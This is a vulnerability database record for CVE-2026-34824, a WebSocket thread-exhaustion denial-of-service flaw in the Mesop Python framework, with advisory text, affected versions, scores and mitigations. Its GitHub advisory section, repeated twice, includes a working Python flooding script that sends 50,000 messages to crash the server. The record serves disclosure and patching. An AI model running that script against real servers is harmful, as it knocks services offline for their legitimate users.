{"id":"CVE-2026-34824","aliases":["EUVD-2026-18909","GHSA-3jr7-6hqp-x679","PYSEC-2026-2204"],"status":"published","title":"Mesop: Unbounded Thread Creation in WebSocket Handler Leads to Denial of Service","description":"Mesop is a Python-based UI framework that allows users to build web applications. From version 1.2.3 to before version 1.2.5, an uncontrolled resource consumption vulnerability exists in the WebSocket implementation of the Mesop framework. An unauthenticated attacker can send a rapid succession of WebSocket messages, forcing the server to spawn an unbounded number of operating system threads. This leads to thread exhaustion and Out of Memory (OOM) errors, causing a complete Denial of Service (DoS) for any application built on the framework. This issue has been patched in version 1.2.5.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.0075,"percentile":0.55228,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-125","CWE-400","CWE-770"],"published":"2026-04-03T21:54:36Z","modified":"2026-10-28T02:30:53Z","fixes":[{"ecosystem":"PyPI","package":"mesop","fixed_in":["1.2.5"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"mesop","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.2.3"},{"fixed":"1.2.5"}]}]},{"source":"osv","ecosystem":"PyPI","package":"mesop","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.2.3"},{"fixed":"1.2.5"}]}],"versions":["1.2.3","1.2.4rc1","1.2.5rc1"]},{"source":"osv","ecosystem":"PyPI","package":"mesop","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.2.3"},{"fixed":"1.2.5"}]}],"versions":["1.2.3","1.2.4rc1","1.2.5rc1"]}],"products":[{"vendor":"mesop-dev","product":"mesop"}],"references":[{"url":"https://github.com/mesop-dev/mesop/security/advisories/GHSA-3jr7-6hqp-x679","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web","evidence"]},{"url":"https://github.com/mesop-dev/mesop/commit/760a2079b5c609038c826d24dfbcf9b0be98d987","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/mesop-dev/mesop/releases/tag/v1.2.5","tags":["x_refsource_MISC","Product","Release Notes","web","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34824","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-3jr7-6hqp-x679"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34824.json","tags":["advisory"]},{"url":"https://github.com/mesop-dev/mesop","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-34824","title":"Mesop: Unbounded Thread Creation in WebSocket Handler Leads to Denial of Service","description":"Mesop is a Python-based UI framework that allows users to build web applications. From version 1.2.3 to before version 1.2.5, an uncontrolled resource consumption vulnerability exists in the WebSocket implementation of the Mesop framework. An unauthenticated attacker can send a rapid succession of WebSocket messages, forcing the server to spawn an unbounded number of operating system threads. This leads to thread exhaustion and Out of Memory (OOM) errors, causing a complete Denial of Service (DoS) for any application built on the framework. This issue has been patched in version 1.2.5.","status":"published","published":"2026-04-03T22:41:34.828Z","modified":"2026-04-06T15:42:06.793Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-125"],"updated_at":"2026-11-02T14:20:13.962274Z"}],"euvd":[{"id":"EUVD-2026-18909","description":"Mesop is a Python-based UI framework that allows users to build web applications. From version 1.2.3 to before version 1.2.5, an uncontrolled resource consumption vulnerability exists in the WebSocket implementation of the Mesop framework. An unauthenticated attacker can send a rapid succession of WebSocket messages, forcing the server to spawn an unbounded number of operating system threads. This leads to thread exhaustion and Out of Memory (OOM) errors, causing a complete Denial of Service (DoS) for any application built on the framework. This issue has been patched in version 1.2.5.","status":"published","published":"2026-04-03T22:41:34Z","modified":"2026-04-06T15:42:06Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T19:25:15.794407Z"}],"ghsa":[{"id":"GHSA-3jr7-6hqp-x679","title":"Mesop: Unbounded Thread Creation in WebSocket Handler Leads to Denial of Service","description":"### Summary\nAn uncontrolled resource consumption vulnerability exists in the WebSocket implementation of the Mesop framework. An unauthenticated attacker can send a rapid succession of WebSocket messages, forcing the server to spawn an unbounded number of operating system threads. This leads to thread exhaustion and Out of Memory (OOM) errors, causing a complete Denial of Service (DoS) for any application built on the framework.\n\n### Details\nThe vulnerability stems from an architectural flaw in how incoming WebSocket messages are processed. In the `mesop/server/server.py` file, the `handle_websocket` function listens for incoming messages and immediately spawns a new `threading.Thread` for every successfully parsed `ui_request`.\n\nThere is no thread pool, message queue, or rate-limiting mechanism implemented to restrict the number of concurrent threads spawned per connection. \n\n*Vulnerable code snippet in `mesop/server/server.py`:*\n```python\nwhile True:\n    message = ws.receive()\n    if not message:\n        continue\n    # ... message parsing logic ...\n\n    # VULNERABILITY: Spawning a new thread for every single message without limits\n    thread = threading.Thread(\n        target=copy_current_request_context(ws_generate_data),\n        args=(ws, ui_request),\n        daemon=True,\n    )\n    thread.start()\n```\n### PoC\nTo reproduce this vulnerability, you only need a running instance of a Mesop application and a basic Python script to flood the WebSocket endpoint.\n\nPrerequisites:\n\nPython environment with the `websocket-client library` installed (`pip install websocket-client`).\n\nA target Mesop application running locally (e.g., `http://localhost:8080`).\n\nSteps to reproduce:\n\nStart the target Mesop application.\n\nSave the following script as `exploit_dos.py`.\n\nRun the script: python `exploit_dos.py`. Watch the server's resource monitor; memory and thread counts will spike rapidly until the process crashes.\n\n```\nimport websocket\nimport base64\n\n# Replace with the target Mesop application's WebSocket URL\nTARGET_WS_URL = \"ws://localhost:8080/__ui__\"\n\n# A minimal valid base64 payload to bypass `base64.urlsafe_b64decode` \n# and Protobuf `ParseFromString` without throwing a parsing exception.\nEMPTY_UI_REQUEST_B64 = base64.urlsafe_b64encode(b'').decode('utf-8')\n\ndef flood_server():\n    ws = websocket.WebSocket()\n    try:\n        ws.connect(TARGET_WS_URL)\n        print(\"[+] Connection established. Initiating thread exhaustion attack...\")\n        \n        # Rapidly send 50,000 messages to force the server to spawn 50,000 threads\n        for i in range(50000):\n            ws.send(EMPTY_UI_REQUEST_B64)\n            \n        print(\"[+] Payloads sent. The server should be unresponsive or crashed by now.\")\n        ws.close()\n    except Exception as e:\n        print(f\"[-] Connection closed or server crashed: {e}\")\n\nif __name__ == \"__main__\":\n    flood_server()\n```\n### Impact\nVulnerability Type: Denial of Service (DoS) / CWE-400: Uncontrolled Resource Consumption.\n\nImpacted Parties: Any developer or organization deploying a Mesop-based application to a publicly accessible network.\n\nSeverity: High. An unauthenticated external attacker can completely crash the application within seconds using minimal bandwidth from a single machine, rendering the service unavailable to all legitimate users.\n\n### Mitigation (Recommended Fixes):\n\nUse a bounded thread pool (e.g., ThreadPoolExecutor with max_workers)\nIntroduce per-connection rate limiting\nImplement a message queue with backpressure\nConsider migrating to an async event loop model instead of spawning OS threads","status":"published","published":"2026-04-03T21:54:36Z","modified":"2026-04-15T20:52:25Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-125","CWE-400","CWE-770"],"updated_at":"2026-11-02T14:39:54.128054Z"}],"nvd":[{"id":"CVE-2026-34824","description":"Mesop is a Python-based UI framework that allows users to build web applications. From version 1.2.3 to before version 1.2.5, an uncontrolled resource consumption vulnerability exists in the WebSocket implementation of the Mesop framework. An unauthenticated attacker can send a rapid succession of WebSocket messages, forcing the server to spawn an unbounded number of operating system threads. This leads to thread exhaustion and Out of Memory (OOM) errors, causing a complete Denial of Service (DoS) for any application built on the framework. This issue has been patched in version 1.2.5.","status":"published","published":"2026-04-03T23:17:05.213Z","modified":"2026-07-24T22:10:00.14Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-125","CWE-770"],"updated_at":"2026-11-02T14:12:13.1424Z"}],"osv":[{"id":"CVE-2026-34824","title":"Mesop: Unbounded Thread Creation in WebSocket Handler Leads to Denial of Service","description":"Mesop is a Python-based UI framework that allows users to build web applications. From version 1.2.3 to before version 1.2.5, an uncontrolled resource consumption vulnerability exists in the WebSocket implementation of the Mesop framework. An unauthenticated attacker can send a rapid succession of WebSocket messages, forcing the server to spawn an unbounded number of operating system threads. This leads to thread exhaustion and Out of Memory (OOM) errors, causing a complete Denial of Service (DoS) for any application built on the framework. This issue has been patched in version 1.2.5.","status":"published","published":"2026-04-03T22:41:34.828Z","modified":"2026-10-28T02:30:53.132822443Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-125"],"updated_at":"2026-11-02T15:45:02.673625Z"},{"id":"GHSA-3jr7-6hqp-x679","title":"Mesop: Unbounded Thread Creation in WebSocket Handler Leads to Denial of Service","description":"### Summary\nAn uncontrolled resource consumption vulnerability exists in the WebSocket implementation of the Mesop framework. An unauthenticated attacker can send a rapid succession of WebSocket messages, forcing the server to spawn an unbounded number of operating system threads. This leads to thread exhaustion and Out of Memory (OOM) errors, causing a complete Denial of Service (DoS) for any application built on the framework.\n\n### Details\nThe vulnerability stems from an architectural flaw in how incoming WebSocket messages are processed. In the `mesop/server/server.py` file, the `handle_websocket` function listens for incoming messages and immediately spawns a new `threading.Thread` for every successfully parsed `ui_request`.\n\nThere is no thread pool, message queue, or rate-limiting mechanism implemented to restrict the number of concurrent threads spawned per connection. \n\n*Vulnerable code snippet in `mesop/server/server.py`:*\n```python\nwhile True:\n    message = ws.receive()\n    if not message:\n        continue\n    # ... message parsing logic ...\n\n    # VULNERABILITY: Spawning a new thread for every single message without limits\n    thread = threading.Thread(\n        target=copy_current_request_context(ws_generate_data),\n        args=(ws, ui_request),\n        daemon=True,\n    )\n    thread.start()\n```\n### PoC\nTo reproduce this vulnerability, you only need a running instance of a Mesop application and a basic Python script to flood the WebSocket endpoint.\n\nPrerequisites:\n\nPython environment with the `websocket-client library` installed (`pip install websocket-client`).\n\nA target Mesop application running locally (e.g., `http://localhost:8080`).\n\nSteps to reproduce:\n\nStart the target Mesop application.\n\nSave the following script as `exploit_dos.py`.\n\nRun the script: python `exploit_dos.py`. Watch the server's resource monitor; memory and thread counts will spike rapidly until the process crashes.\n\n```\nimport websocket\nimport base64\n\n# Replace with the target Mesop application's WebSocket URL\nTARGET_WS_URL = \"ws://localhost:8080/__ui__\"\n\n# A minimal valid base64 payload to bypass `base64.urlsafe_b64decode` \n# and Protobuf `ParseFromString` without throwing a parsing exception.\nEMPTY_UI_REQUEST_B64 = base64.urlsafe_b64encode(b'').decode('utf-8')\n\ndef flood_server():\n    ws = websocket.WebSocket()\n    try:\n        ws.connect(TARGET_WS_URL)\n        print(\"[+] Connection established. Initiating thread exhaustion attack...\")\n        \n        # Rapidly send 50,000 messages to force the server to spawn 50,000 threads\n        for i in range(50000):\n            ws.send(EMPTY_UI_REQUEST_B64)\n            \n        print(\"[+] Payloads sent. The server should be unresponsive or crashed by now.\")\n        ws.close()\n    except Exception as e:\n        print(f\"[-] Connection closed or server crashed: {e}\")\n\nif __name__ == \"__main__\":\n    flood_server()\n```\n### Impact\nVulnerability Type: Denial of Service (DoS) / CWE-400: Uncontrolled Resource Consumption.\n\nImpacted Parties: Any developer or organization deploying a Mesop-based application to a publicly accessible network.\n\nSeverity: High. An unauthenticated external attacker can completely crash the application within seconds using minimal bandwidth from a single machine, rendering the service unavailable to all legitimate users.\n\n### Mitigation (Recommended Fixes):\n\nUse a bounded thread pool (e.g., ThreadPoolExecutor with max_workers)\nIntroduce per-connection rate limiting\nImplement a message queue with backpressure\nConsider migrating to an async event loop model instead of spawning OS threads","status":"published","published":"2026-04-03T21:54:36Z","modified":"2026-07-13T07:26:47.816851484Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-125","CWE-400","CWE-770"],"updated_at":"2026-11-02T15:46:35.747385Z"},{"id":"PYSEC-2026-2204","description":"Mesop is a Python-based UI framework that allows users to build web applications. From version 1.2.3 to before version 1.2.5, an uncontrolled resource consumption vulnerability exists in the WebSocket implementation of the Mesop framework. An unauthenticated attacker can send a rapid succession of WebSocket messages, forcing the server to spawn an unbounded number of operating system threads. This leads to thread exhaustion and Out of Memory (OOM) errors, causing a complete Denial of Service (DoS) for any application built on the framework. This issue has been patched in version 1.2.5.","status":"published","published":"2026-04-03T23:17:05.213Z","modified":"2026-07-13T07:15:28.797012959Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:55.537808Z"}]}}